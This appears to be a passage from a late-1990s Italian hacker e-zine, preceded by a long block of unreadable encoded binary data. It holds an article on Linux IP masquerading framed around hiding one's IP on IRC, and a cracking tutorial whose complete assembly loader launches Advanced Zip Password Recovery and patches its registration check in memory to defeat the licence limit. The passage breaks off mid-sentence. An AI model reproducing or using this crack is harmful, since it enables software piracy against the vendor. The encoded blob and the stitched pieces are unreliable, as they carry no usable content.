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
AAAAAAAAgQIBUks=
================================FINE Talia qui =============================


. - .

#---[ Ip-Masquerading e gateway ]------------------------------------+Domino_Gr+------#

Ip-Masquerading e Gateway


xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxx IP-MASQERADING E GATEWAY xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

By Domino_Gr


Molte volte sia su IRC che sul Web e' importante mantenere una certa anonimita'...ma che significa sta bella parola??
Per esempio, dai bei lamerz che vogliono nukkare floddare drogare un utente ai malatoni (eheh chi non lo e'...) che vogliono per forza avere un account su un bel sito porno con una carta di credito Skazzata alla grande....ai grandi hacker che non vogliono far avere al Sysadmin il loro stupendo IP...praticamente e' un desiderio di tutti:)
E cosi' si sente parlare di wingate, gateway e proxy server....ma cosa sono???
Innanzitutto l'IpMasquerading e' una funzione di rete dei sistemi *nix che permette di dare accesso ad Internet ai computer 'host' di una LAN (o collegati via modem:) anche se non hanno registrato un proprio IP!
Si nota subito che per un azienda il vantaggio economico e' notevole.....e quel simpa del Sysadmin fa salti di gioia per non far spendere ulteriori abbonamenti ad Internet.
Queste funzioni sono state implementate nel Kernel 2.2.x in fase finale ma i piu vecchiotti noteranno che gia c'erano since 1.3.x.
Si...vabbe....ma secondo quale principio mi nascondo?Eccolo......
Allora mettiamo un host collegato tramite questo sistema:

SLIP/PPP +------------+ +-------------+
to provider | Linux | SLIP/PPP | Anybox |
<---------- modem1| |modem2 ----------- modem | |
111.222.333.444 | | 192.168.1.100 | |
+------------+ +-------------+

Quindi..mettiamo che il PC LINUX , con la funzione IPM installata, abbia accesso al suo provider con IP 111.222.333.444 tramite SLIP o PPP...allora il PC host deve, per entrare in Internet, 'passare' dal suo GATEWAY cioe' il PC con linux effettivamente collegato ad Inet....tutto chiaro???No..direte...cos' e' 192.168.1.100???Moment plz...
Allora ricapitolo il fattaccio:

*Dico al PC host " ue' vedi che il pc linux e' il tuo gateway...devi passare da lui..." e lui ci passa...
*Linux (GATEWAY) accetta il pacchetto di Host e sbatte negli headers il suo Ip 111.222.333.444

NB per il ritorno di pacchetti e' +o- la stessa cosa...Linux e' sempre il Gateway...OKZ???


Ovviamente per piu' pc connessi e' la stessa cosa.........ma ne parlo dopo.
L' importante ora e' vedere come si configura una rete per usare questa funzione...mettiamo che state configurando il kernellazzo, dovete dire YES alle seguenti (presi da: http://www.atlantic2000.com/ip-masq/kernel.html :)

* Prompt for development and/or incomplete code/drivers
CONFIG_EXPERIMENTAL
- this will allow you to select experimental IP Masquerade code compiled
into the kernel

* Enable loadable module support
CONFIG_MODULES
- allows you to load ipmasq modules such as ip_masq_ftp.o

* Networking support
CONFIG_NET

* Network firewalls
CONFIG_FIREWALL

* TCP/IP networking
CONFIG_INET

* IP: forwarding/gatewaying
CONFIG_IP_FORWARD

* IP: firewalling
CONFIG_IP_FIREWALL

* IP: masquerading
CONFIG_IP_MASQUERADE

* IP: ipportfw masq support
CONFIG_IP_MASQUERADE_IPPORTFW

* IP: ICMP masquerading
CONFIG_IP_MASQUERADE_ICMP

* IP: always defragment
CONFIG_IP_ALWAYS_DEFRAG

* Dummy net driver support
CONFIG_DUMMY

Dopo aver compilato (make dep ; make clean ; make zImage ) passate ai moduli:

make modules; make modules_install


Aggiungere ora in /etc/rc.d/rc.local la seguente per far caricare i moduli in / lib/modules/2.2.x/ipv4/

.
.
/sbin/depmod -a
/sbin/modprobe ip_masq_ftp
/sbin/modprobe ip_masq_raudio
/sbin/modprobe ip_masq_irc
.
.
.

Bene...ora la parte piu delicata...dobbiamo far capire ai PC il giochetto...eheheheh come si faq?
Allora...l' IANA (Internet Assigned Number Authority) , cioe' l'ente che gestisce gli indirizzi internetz , ha stabilito che ci sono dei particolari indirizzi riservati, cioe' (come 127.0.0.1 cioe' il computer stesso) IP che non possono essere assegnati...per gli indirizzi di classe C il blocco di IP address per le reti private e' :

192.168.0.0 - 192.168.255.255

il che vale a dire che, nel particolare sistema:

+----------+
| | Ethernet
| abox |::::::
| |2 :192.168.1.x
+----------+ :
: +----------+
+----------+ : 1| Linux |
| | ::::| masq-gate|:::::::::// Internet
| bbox |:::::: | |
| |3 : +----------+
+----------+ :
:
+----------+ :
| | :
| cbox |::::::
| |4
+----------+


dove a-b-cbox sono i PC host e Linux e' il GATEWAY nominero' i PC

122.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4


dove si DEVE assegnare 192.168.1.1 al pc GATEWAY....facile no?
NB 192.168.1.0 e 192.168.1.255 si chiamano NETWORK e BROADCAST e sono privati...eheh

Ora che ho deciso i nomi da dare ...che faccio.......???.........li faccio incontrare!

Quindi devo far capire a ogni pc host tutta sta manfrina ...."Domino"..direte.."ma non hai fatto capire a noi...vuoi far capire ai PC???" .......abbiate fede in Domino_Granata!

Per far capire come si realizza il tutto vediamo come si procede in Micro$ofz WIN9x ( solo perche' rende piu' l'idea....)


Pannello di (dis)controllo--->Reti --->Indirizzo IP

E scribacchiate 192.168.1.x ( x<>1..anzi 1<x<255 ) in indirizzo IP e 255.255.255.0 sotto (subnet mask)
In questo modo si identificano tutti i PC host della LAN.
Ora in Configurazione DNS mettete IL VERO DNS del GATEWAY (in Ordine di ricerca del server DNS)
Adesso ho ultimato il mio scopo...facendo capire a tutti i pc host

*il loro nome (IP) nella rete locale col quale chiamano il gateway
*il DNS del gateway, col quale entrano in internet

SSSIIIIIIIIIIII!!!!!!!!!!!!! Abbiamo capito!!!!!!!!

Praticamente (che bel termine...) se voglio anonimita' su IRC , tanto per far contenti molti di voi, e' come se mi inserissi nella rete e facessi credere (che babbeo....eheh) al gateway di essere un host ...cosi' mi dara' accesso ad internet CONILSUOIPPI!!!!!!wow che bello....
Ovviamente bisogna trovare i sistemi che decidono di adottare questo metodo..ed ecco che ci viene in aiuto il caro zio d'america ...ZIO BILLUCCIO GATEZ che con i suoi WINGATE( cioe' gateway per Windoze ) ci facilita le cose e ci consente di essere anonimi eheheheh...****grazie zio bill con i tuoi programmi ci consenti di trovare i motivi e gli sproni per tentare di imparare qualcosa sull'hacking****...(che dite..gliela mando via email...eheheheheh)

Consiglio di leggere l' articolo di AWAY THREENAILS per applicare tutto questo a IRC e quello di LaNdo sull'IP MASQUERADING in Wannabe 0

Ringrazio BoBo e tutto lo staff per la gentilezza e la voglia con la quale hanno accettato la mia collaborazione...spero di crescere (tecnicamente eh...caxxo ho 20 anni...) imparando da voi e dalla crew...grazie di kernel!
Un Byyyyeeezzz galattico a Markck ( la guida per nukkare te la faccio subito...lamero'!),
F4b!ett0 (ma il C l'hai inventato tu????)
(Last but not least ) M4nuEL4 (sei il mio Ing.informatico di fiducia....smack :*)


Per eventuali critiche (azzz...) info e consigli (ua' sembro un grin eheh) non ci pensate 2 voltaren :

DOMINO_GR@USA.NET

Byyyeee!!
Domino_Gr

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Sezione Cracking

#---[Advanced Zip Password Recovery v2_2 - Patching in memory]-------+QueQuero+-------#


Advanced Zip Password Recovery v2_2 - Patching in memory

Advanced Zip Password Recovery v2.2 - Patching in memory Advanced Zip
Password Recovery v2.2
(Patching in memory)

22-12-1999 by "Quequero"
UIC's Home PagePublished by Quequero
Una luce splendente, elegante come il sol levante, apparve all' orizzonte.
Arrivò silenzioso un fautore del buon umore.Vi presento qualcosa di nuovo,
un tutorial sul patching in memory di un programma packato col NeoLite,
non è semplicissimo ma vi sarà comunque molto utileCol suo mantello color
cammello scese dal ciel un uomo gaio, si posò su un albero e disse:
"Miiiii sono Quequero".
UIC's formHome page se presente: http://quequero.cjb.net
E-mail: UIC@mail.usa.com
In IRCNet: #crack-it #UIC UIC's form
Difficoltà ( )NewBies (X)Intermedio (X)Avanzato ( )Master

Ecco come si fa a crackare un programma senza averi bisogno di unpackarlo :).



Advanced Zip Password Recovery v2.2
(Patching in memory)
Written by Quequero



Introduzione

Advanced Zip Password Recovery è un tool compresso con il caro neolite, non è
difficile da unpackare ma noi creeremo un programma che ci permetterà di
crackarlo in memoria senza per questo doverlo unpackare.
Tools usati

SoftIce qualunque versione
Turbo Assembler 5.0
Spy++
W32.inc (nell'allegato assieme ai sorgenti)
URL o FTP del programma

http://www.eclomsoft.com/azpr.html
Notizie sul programma

Advanced Zip Password Recovery (AZPR d'ora in poi) è un utile programmino che
ci permette di bruteforzare i file zip per poi trovarne le password
Essay

AZPR è abbastanza utile come programma ma se non lo registriamo allora non ci
permetterà di bruteforzare password più lunghe di 5 caratteri grgrgrgrgr, la
cosa in effetti non ci piace ma noi comunque non siamo interessati a questo,
infatti un giorno potrebbe capitarci di incontrare un programma unpackabile
(moooooolto improbabile) o che non riusciamo ad unpackare (già più probabile
:) allora cosa facciamo, lasciamo la vittoria ai programmatori? Mai! Quindi
alleniamoci per prospettive future :). Per prima cosa dobbiamo crackare il
programma, non mi dilungherò più di tanto su questo dal momento che il nostro
target è un altro, quindi avviamo il programma e come ovvio ci mostra la sua
scrittina "Unregistered", bene, procedendo per ipotesi iniziamo a brekkare
sulle API che gestiscono il registro di Windows perchè forse il serial è letto
da lì....quindi fire up your winice (ctrl+d) e settate un bpx su
RegQueryValueExA....O se preferite brekkate direttamente così: bpx
RegQueryValueExA if ecx = = 70FCFC, premete F11 e sarete approdati al posto
giusto, disabilitate i breakpoint con "bd *" e steppate con F10 fino a:
xxxx:0040C733 E800FEFFFF call 0040C538
questa è la chiamata che decide se il programma è registrato o meno, se
riporta 1 lo è altrimenti no...Steppate ancora con F10 finchè non arriverete
qui:
xxxx:0040258C 7479 jz 00402607
se il programma arrivato a questo punto salta, allora non è bene :) se non
salta invece apparirà come registrato, ottimo, ciò che dobbiamo fare è
semplicemente noppare questi due byte....Bhè facciamolo...ma facciamolo in
memoria.
Il crack è stato abbastanza rapido :) questa parte invece non so come verrà
fuori dal momento che evito di cercare tute su argomenti che conosco poco onde
evitare di essere influenzato, (anche se mi sono rimaste delle reminescenze di
qualche tute su fravia) quindi farò secondo cioè che mi è venuto in mente e
cercherò di esporvi tutto con chiarezza :)

PATCHING IN MEMORY

Bene, iniziamo col pianificare i nostri scopi malevoli :), per prima cosa
abbiamo bisogno di dire a WinPorco in quale processo andare a mettere le mani
e per farlo abbiamo bisogno di trovarlo questo processo....Come? Bhè, io ho
pensato di usare un bel FindWindow che ha anche una semplice sintassi:

HWND FindWindow( LPCTSTR lpClassName, // puntatore al nome della classe
LPCTSTR lpWindowName // puntatore al nome della finestra
);

Se il valore riportato è 0 allora c'è stato un errore altrimeni in eax
ritroveremo l'handle della finestra.
Andiamo quindi a scrivere il nostro programma, prima di tutto dobbiamo sapere
come si chiama la classe della finestra, per far questo avviate AZPR, aprite
spy++, clickate su refresh e cercate la finestra:



quanto so bravo, c'ho messo pure l'immaginina :)..cmq C30h nel mio caso è
l'handle della finestra (quello che ci troveremo con FindWindow, "AZPR version
2.0 - unregistered" è la caption della finestra e TForm1 è la classe, cioè
quello che ci interessa, allora iniziamo ad abbozzare qualcosa nel nostro
programmino:

.386P
LOCALS
JUMPS
.MODEL FLAT, STDCALL
UNICODE=0
INCLUDE W32.inc ; W32.inc lo trovate nell'allegato assieme ai sorgenti

.data

class db "TForm1",0 ; ecco il nome della classe che ci interessa

.code
start:
xor eax, eax ; meglio metterlo onde evitare che qualcosa vada storto...in
fondo sono solo 2 byte :)
call FindWindow, offset class, NULL ; la nostra cara chiamatina
int 3 ; ci servirà per il debug

end start

bene, compilate il tutto con:
tasm32 -ml -m5 /t -q patchinmen
tlink32 -Tpe -aa -x -c patchinmen ,,, import32

mettete in sice un bpint 3, avviate il prog e non dovete far altro che vedere
se in eax, c'è zero o qualcos'altro, se c'è qualcos'altro allora è andato a
buon fine....proviamo......avvio.....ottimo, eax contiene proprio C30h
(attenti che a voi l'handle sarà diverso). Adesso dall'handle dobbiamo
risalire all'ID del processo, e possiamo usare GetWindowThreadProcessId, ecco
la sintassi:
DWORD GetWindowThreadProcessId(
HWND hWnd, // handle della finestra
LPDWORD lpdwProcessId // indirizzo di una variabile per l'ID del processo
);

quindi andiamo ad aggiungere questa funzione al nostro programma che così
diventa:

.386P
LOCALS
JUMPS
.MODEL FLAT, STDCALL
UNICODE=0
INCLUDE W32.inc

extrn GetWindowThreadProcessId:Proc ; Questa volta l'API la dobbiamo definire

.data

class db "TForm1",0
handle dd 1 dup (0) ; qua ci mettiamo l'handle
ProcessID dd 1 dup (0) ; e qua il PID

.code
start:
xor eax, eax
call FindWindow, offset class, NULL
mov handle, eax
call GetWindowThreadProcessId, handle, offset ProcessID
int 3
end start

compiliamo.....testiamo...oki la chiamata riporta il un valore che
evidentemente sarà il PID :)
a questo punto siamo in grado di aprire il processo con OpenProcess....
HANDLE OpenProcess(
DWORD dwDesiredAccess, // flag di accesso
BOOL bInheritHandle, // ereditazione dell'handle
DWORD dwProcessId // process identifier
);

qua l'unica cosa da spiegare sono i flag, ne esistono molteplici che potrete
vedere su win32.hlp, ma io vi elenco l'unico che ci serve cioè:
PROCESS_ALL_ACCESS che corrisponde al valore di FFFh, ma che è inserito cmq
nel file W32.inc, e quindi non dobbiamo preoccuparci di definirlo, andiamo
ancora una volta a modificare il nostro programma aggiungedoci la funzione
OpenProcess con i parametri che ci interessano quindi PROCESS_ALL_ACCESS come
primo parametro, il secondo lo settiamo a FALSE ed il terzo valore lo
prendiamo dall'ultima call, ma facciamo un'ultima modifca, riapriamo Spy++,
clickiamo sulla nostra finestra e ci appare il menu di prima, andiamo su
"Windows" e vediamo qual'è la finestra "principale" che troviamo all'ultima
riga:



adesso sappiamo che l'handle della finestra principale è 57C, quindi nella
lista di spy++ cerchiamo questa finestra (che in realtà sta una riga sotto la
finestra di prima :), troviamone la classe che è TApplication e sostituiamola
nel codice a TForm, quindi alla fine avremo ciò:

class db "TApplication",0 ; Usiamo questa perchè è
meglio operare sulla finestra principale
handle dd 1 dup (0)
ProcessID dd 1 dup (0)
ProcessHandle dd 1 dup (0)

.code
start:

xor eax, eax
call FindWindow, offset class, NULL
mov handle, eax
call GetWindowThreadProcessId, handle, offset ProcessID
call OpenProcess, PROCESS_ALL_ACCESS, FALSE, dword ptr[ProcessID] ; Ecco la
nostra nuova chiamata
mov ProcessHandle, eax ; Spostiamo l'handle in un buffer per usarlo poi in
futuro
int 3

Andiamo a debuggare il tutto, se la chiamata a OpenProcess vi riporta 0 allora
è fallita, altrimenti è andata a buon fine, di consegueza se tutto è a posto
(e vi ricordo che dovete debuggare il tutto con AZPR in esecuzion) possiamo
procedere a trovare la locazione di memoria che ci interessa patchare. Come
precedentemente detto nel tute il jump che ci interessa noppare sta al RVA
0040258C, dovete sapere che ogni applicazione ha un suo range di memoria da
poter usare e ciò che abbiamo fatto con OpenProcess è stato solo di aprire il
processo di AZPR per poter andar a leggere nella memoria del programma in
esecuzione, ora però prima di continuare nel patch dobbiamo controllare se
effettivamente la versione i byte che ci interessano sono presenti, per far
ciò useremo WriteProcessMemory, una funzione estremamente semplice:
BOOL ReadProcessMemory(
HANDLE hProcess, // handle del processo nel quale dobbiamo andare a
leggere
LPCVOID lpBaseAddress, // indirizzo nel quale iniziare la lettura
LPVOID lpBuffer, // indirizzo di un buffer nel quale piazzare i dati letti
DWORD nSize, // numero di byte da leggere
LPDWORD lpNumberOfBytesRead // indirizzo del numero dei byte letti
);

come vedete la funzione non presenta nessuna difficoltà, ci serve solo
conoscere l'indirizzo nel quale andare a leggere i dati, e la guida di
winfrocio ci dice anche che l'ultimo parametro può essere NULL, quindi ora che
sappiamo quale deve essere l'RVA andiamo a scrivere un'altra volta il nostro
programma:

class db "TApplication",0
handle dd 1 dup (0)
ProcessID dd 1 dup (0)
ProcessHandle dd 1 dup (0)
ReadBuffer dd 1 dup (0)
OrigBytes dw 7974h ; Bytes originali invertiti dal momento che gli
intel li invertono
CaptionDiff db 'Error!',0 ; MessageBox di avviso nel caso i byte non
vengano trovati
MessageDiff db 'Program version is probably different,',0dh,0ah
db 'crack not applied!',0

.code
start:

xor eax, eax
call FindWindow, offset class, NULL
mov handle, eax
call GetWindowThreadProcessId, handle, offset ProcessID
call OpenProcess, PROCESS_ALL_ACCESS, FALSE, dword ptr[ProcessID]
mov ProcessHandle, eax
mov eax, 0040258Ch
call ReadProcessMemory, [ProcessHandle], eax, offset ReadBuffer, 2, NULL ; Qui
andiamo a leggere la memoria
mov esi, offset OrigBytes ; E facciamo un compare tra i
mov edi, offset ReadBuffer ; byte letti
mov ecx, 2
repz cmpsb ; Corrispondono?
jnz Different ; Se la risposta è NO, allora manda la messagebox
int 3 ; Questo è il solito int3 per fare il debug

Different:
push MB_ICONSTOP or MB_OK
push offset CaptionDiff
push offset MessageDiff
push NULL
call MessageBoxA;, MB_ICONSTOP or MB_OK, offset CaptionDiff, offset
MessageDiff, NULL

end start

bene, se anche il check dei byte è superato possiamo andare a cambiarli con
due NOP. Ma c'è un piccolo problema, cioè che il programma fa quel check una
sola volta all'avvio, noi invece abbiamo operato ad applicazione già avviata e
quindi anche se modificassimo i byte non otterremmo nulla visto che il
programma è già in UNREGISTERED status :), per ovviare a questo problema
potremmo avviare l'applicazione con WinExec solo che questa API ci ritorna il
controllo solo dopo che l'applicazione è completamente avviata......e di
conseguenza anche dopo il check, quindi useremo l'API CreateProcess, mi era
stato suggerito di sospendere il thread con CREATE_SUSPENDED e poi di
riesumarlo, ma ho trovato un metodo un po' più semplice, cioè, avvieremo lo
stesso il programma con CreateProcess e con un loop cercheremo la locazione e
quindi la patcheremo, lasciate prima che vi spieghi come funziona
CreateProcess che è una della API più antipatiche :):

BOOL CreateProcess(
LPCTSTR lpApplicationName, // pointer to name of executable module
LPTSTR lpCommandLine, // pointer to command line string
LPSECURITY_ATTRIBUTES lpProcessAttributes, // pointer to process security
attributes
LPSECURITY_ATTRIBUTES lpThreadAttributes, // pointer to thread security
attributes
BOOL bInheritHandles, // handle inheritance flag
DWORD dwCreationFlags, // creation flags
LPVOID lpEnvironment, // pointer to new environment block
LPCTSTR lpCurrentDirectory, // pointer to current directory name
LPSTARTUPINFO lpStartupInfo, // pointer to STARTUPINFO
LPPROCESS_INFORMATION lpProcessInformation // pointer to
PROCESS_INFORMATION
);

...Come prima parametro settiamo il nome dell'exe da eseguire (azpr.exe) il
secondo parametro non ci interessa e lo settiamo a NULL, il terzo parametro
anche, il 4° lo possiamo tranquillamente mettere a FALSE, questo comando serve
a specificare se l'handle ritornato potrà essere ereditabile dai processi
figli, il 5° lo settiamo a DEBUG_PROCESS, serve a specificare che il processo
deve essere trattato come un debugger, non è necessario ma mettiamocelo :), il
6° lo settiamo a NORMAL_PRIORITY_CLASS visto che non ci interessa avere una
priorità di esecuzione più alta o più bassa, il 7° e 8° lo settiamo a NULL
mentre gli utlimi due necessitano di puntare rispettivamente ad una struttura
di Startup e ad una struttura di PROCESS_INFORMATION, non preoccupatevi non è
assolutamente difficile. Dopo ciò possiamo andare a scrivere la routine che
patcherà il programma in memoria, per far ciò aggiungeremo dopo
ReadProcessMemory il nostro bel WriteProcessMemory che presenta più o meno la
stessa sintassi dell'API affine:
BOOL WriteProcessMemory(
HANDLE hProcess, // handle del processo nel quale dobbiamo andare a
scrivere
LPVOID lpBaseAddress, // indirizzo nel quale iniziare la scrittura
LPVOID lpBuffer, // puntatore a un buffer nel quale piazzare i dati da
scriverei
DWORD nSize, // numero di byte da scrivere
LPDWORD lpNumberOfBytesWritten // numero attuale di byte scritti
);

per l'ultima volta vi ripresento tutto il codice anche con quest'ultime
aggiunte ed anche ottimizzato con alcuni messagebox ed un loop che vi
spiegherò a fine listato:

.386P
LOCALS
JUMPS
.MODEL FLAT, STDCALL
UNICODE=0
INCLUDE W32.inc

extrn GetWindowThreadProcessId:Proc

.data

class db "TApplication",0
handle dd 1 dup (0)
ProcessID dd 1 dup (0)
ProcessHandle dd 1 dup (0)
ReadBuffer dd 1 dup (0)
OrigBytes dw 7974h ; Bytes originali invertiti
PatchBytes dw 9090h ; I byte con i quali cambieremo l'istruzione
CaptionDiff db 'Error!',0
MessageDiff db 'Program version is probably different,',0dh,0ah
db 'crack not applied!',0
CaptionSucc db 'Success!',0
MessageSucc db ' Crack successfully applied! ',0dh,0ah
db '
',0dh,0ah
db ' Created By Quequero ',0dh,0ah
db ' FOR U.I.C. ',0dh,0ah
db ' http://quequero.cjb.net ',0
ExeName db 'azpr.exe',0
CaptionProb db 'Problem!!!',0
MessageProb db 'There is a problem, crack cannot be applied! ',0dh,0ah
db 'Here''s some possible solution: ',0dh,0ah
db '1) Name of .exe is different from azpr.exe (if yes
rename it) ',0dh,0ah
db '2) This crack is not in the same directory of the
program. ',0dh,0ah
db 'Try to move in the right directory, generally:
c:\program\AZPR',0

SecAttr STARTUPINFO <?> ; Questi sono i semplicissimi puntatori alle
strutture che vi indicato durante la
ProcInf PROCESS_INFORMATION <?> ; spiegazione del CreateProcess


.code
start:
call CreateProcess, offset ExeName, NULL, NULL, FALSE, DEBUG_PROCESS,
NORMAL_PRIORITY_CLASS, NULL, NULL, offset SecAttr, offset ProcInf ; Ecco a
voi il CreateProcess, se vi riporta 1 allora è tutto okkei
test eax, eax ; Il CreateProcess riporta 0?
jz Problem ; Se si vuol dire che ci sono dei problemi, mostra la messagebox
con le soluzioni
loop: call FindWindow, offset class, NULL ; Ecco il loop che vi spiegherò dopo
test eax, eax
jz loop
mov handle, eax
call GetWindowThreadProcessId, handle, offset ProcessID
call OpenProcess, PROCESS_ALL_ACCESS, FALSE, dword ptr[ProcessID]
mov ProcessHandle, eax
mov eax, 0040258Ch ; Muovi in eax l'RVA della locazione alla quale andremo
a leggere
call ReadProcessMemory, [ProcessHandle], eax, offset ReadBuffer, 2, NULL ;
Vai a leggere
mov esi, offset OrigBytes
mov edi, offset ReadBuffer
mov ecx, 2
repz cmpsb
jnz Different ; Confronta i byte e se sono uguali procedi, altrimenti
salta
mov eax, 0040258Ch
call WriteProcessMemory, [ProcessHandle], eax, offset PatchBytes, 2, NULL
; Ottimo, sono uguali, allora cambiali
push MB_ICONINFORMATION or MB_OK
push offset CaptionSucc
push offset MessageSucc
push NULL
call MessageBoxA ; Mostra il box che ci dice che tutto è andato bene
call ExitProcess ; Ed esci

Different:
push MB_ICONSTOP or MB_OK
push offset CaptionDiff
push offset MessageDiff
push NULL
call MessageBoxA
call ExitProcess

Problem:
push MB_ICONSTOP or MB_OK
push offset CaptionProb
push offset MessageProb
push NULL
call MessageBoxA
call ExitProcess

end start

Ora state attenti che vi riassumo tutto quanto: per prima cosa il file viene
avviato con CreateProcess visto che ci rida il controllo all'istante, se la
funzione riporta 1 è andato tutto bene, se riporta 0 avete sbagliato qualcosa,
quindi viene eseguito un loop di FindWindow, perchè? Perchè in questo modo
facciamo un check continuo fino all'apparizione della nostra finestra e così
avremo il tempo di patchare i byte prima che il programma decida di non essere
registrato, appena FindWindow riporta un valore diverso da 0 chiamamo
GetWindowThreadId per ottenere l'ID del thread della finestra, se anche questa
va a buon fine otteniamo un ID che possiamo usare con OpenProcess per aprire
il processo. Aperto il processo andiamo a fare un confronto tra i byte che
"dovremmo" trovare e quelli che effettivamente troviamo, se sono uguali
procediamo col cambiarli e con l'avvisare l'utente che tutto è andato bene,
altrimenti facciamo comparire il box che ci informa di una diversità tra l'exe
che abbiamo e quello che dovremmo avere. I check per vedere se tutto procede
